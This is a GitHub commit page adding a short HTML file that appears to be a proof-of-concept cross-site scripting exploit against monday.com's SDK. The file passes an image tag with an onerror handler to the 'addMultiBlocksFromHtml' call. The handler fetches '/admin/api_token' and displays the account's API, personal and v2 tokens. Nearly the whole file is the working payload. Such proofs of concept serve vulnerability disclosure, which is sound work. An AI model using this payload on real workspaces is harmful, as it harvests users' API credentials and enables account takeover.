Create doc-ai-create-from-html-xss.html

kosgdk · May 28, 2024 · e150717 · e150717
1 parent 2f8fe08
commit e150717
Showing 1 changed file with 14 additions and 0 deletions.
diff --git a/doc-ai-create-from-html-xss.html b/doc-ai-create-from-html-xss.html
@@ -0,0 +1,14 @@
+<html>
+  <head>
+    <script src="https://cdn.jsdelivr.net/npm/monday-sdk-js/dist/main.js"></script>
+  </head>
+<body>
+  <script>
+    const monday = window.mondaySdk();
+    monday.execute("addMultiBlocksFromHtml", {
+      html: `<img src=x onerror="fetch('/admin/api_token').then(response => response.json()).then(data => alert('api_token:' + data.api_token + 'personal_api_token:' + data.personal_api_token + 'api_v2_token:' + data.api_v2_token))" />`
+    });
+  </script>
+  Hello
+</body>
+</html>